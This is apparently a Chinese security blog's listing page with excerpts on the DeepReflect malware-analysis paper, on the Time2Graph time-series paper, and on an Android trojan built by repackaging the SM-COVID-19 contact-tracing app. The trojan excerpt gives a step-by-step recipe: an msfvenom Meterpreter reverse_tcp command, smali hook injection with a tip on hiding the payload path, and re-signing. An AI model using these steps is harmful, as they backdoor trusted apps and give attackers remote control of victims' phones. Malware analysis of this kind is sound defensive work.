Contents

论文 DeepReflect: Discovering Malicious Functionality through Binary ReconstructionUSENIX Security ‘21 (Fall) 录用,来自佐治亚理工的 Wenke Lee 团队:

image-20210908202030535

源码地址:https://github.com/evandowning/deepreflect

Motivation:恶意应用分析师的故事

Molly 是一名恶意应用分析师,她每天的主要任务就是理解恶意样本并给出技术报告。当拿到一个恶意样本时,Molly 有着一套如 图1 所示的工作流程,她首先将样本上传到 VirusTotal 等平台扫描,如果是一个已被恶意样本库收录的应用,她就可以轻松地结束本次工作。但这样的好事并不多见,因为待分析的往往是公司恶检系统的漏网之鱼。接着,她选择使用定制的沙箱来运行样本,以动态分析应用的恶意行为,但狡猾的样本采用了沙箱逃逸技术(检测到沙箱环境时则不执行部分代码)。于是,她又使用了一些内部工具,企图哄骗应用去执行隐藏的行为,却都无济于事。无奈之下,她只能将应用解包(脱壳)后做静态分析。

image-20210908193718487
图1 恶意应用分析师的工作流程

Contents

安卓木马分析:被感染的SM-COVID-19应用

SM-COVID-19是意大利公司SoftMining开发的APP,用于追踪病毒的接触轨迹。该应用被恶意软件开发者重打包,嵌入了MSF(Metasploit Framework 渗透测试框架)的Meterpreter后门

攻击概述

攻击步骤

  1. 确定良性的载荷APK(SM-COVID-19

  2. 使用MSF的msfvenom工具生成恶意负载APK(Metasploit APK)

    $ msfvenom -p android/meterpreter/reverse_tcp LHOST=<url> # Remote Server IP
    
  3. 反编译载荷APK和负载APK

    $ apktool d xxx.apk # use Apktool to decompile
    
  4. 将Metasploit APK中Meterpreter的smali代码复制到载荷APK的smali目录下

  5. 增加触发恶意代码的方法,即注入钩子(Hook)。例如,在入口点(即AndroidManifest.xml中包含intent-filter<action android:name="android.intent.action.MAIN"/> 的activity)的smali代码中定位onCreate()方法,并在方法的起始位置添加一行smali代码:

    invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
    

    注:若要混淆com/metasploit/stage/Payload,还需修改Payload目录下所有此路径的引用,并改变其自身的目录名。

  6. 将Metasploit APK的Manifest文件中的uses-permission(权限)和uses-feature(软硬件依赖)等补充到新APK的Manifest文件中

  7. 打包新的APK

    $ apktool b xxx.apk
    
  8. 重新签名

    $ keytool -genkey -v -keystore <sig>.keystore -alias <sig> # java工具生成自签名keystore
    $ jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore <sig>.keystore xxx.apk <sig> # 使用keystore签名APK
    

Contents

Time2Graph: Revisiting Time Series Modeling with Dynamic Shapelets

image-20201215094240029

源代码:https://github.com/petecheng/Time2Graph

研究问题

时间序列建模

常用Shapelet(时间序列中最具有辨别性的子序列)方法;每一个Shapelet会在时序中找到最匹配的位置,以及匹配程度。现有工作忽视的问题(以窃电检测为例):

  1. 出现在不同时间位置的同一个Shapelet可能有不同的含义(冬夏季的低电耗比春季可疑)
  2. Shapelet的前后演化关系对于全面理解时间序列十分重要(部分正常用户全年耗电量低)

Preliminaries

一个时间序列数据\(t\),可表示为\(n\)个按时间顺序排列的元素\(\{x_1,\cdots ,x_n\}\),则子序列可记作\(s=\{x_i,\cdots ,x_j\}\)。 将\(t\)划分为\(m\)个长度为\(l\)的时间段,则又可记作\(\{s_1, \cdots ,s_m\}=\{\{x_{l*k+1},\cdots ,x_{l*k+l}\}\vert 0\leq k\leq m-1\}\)。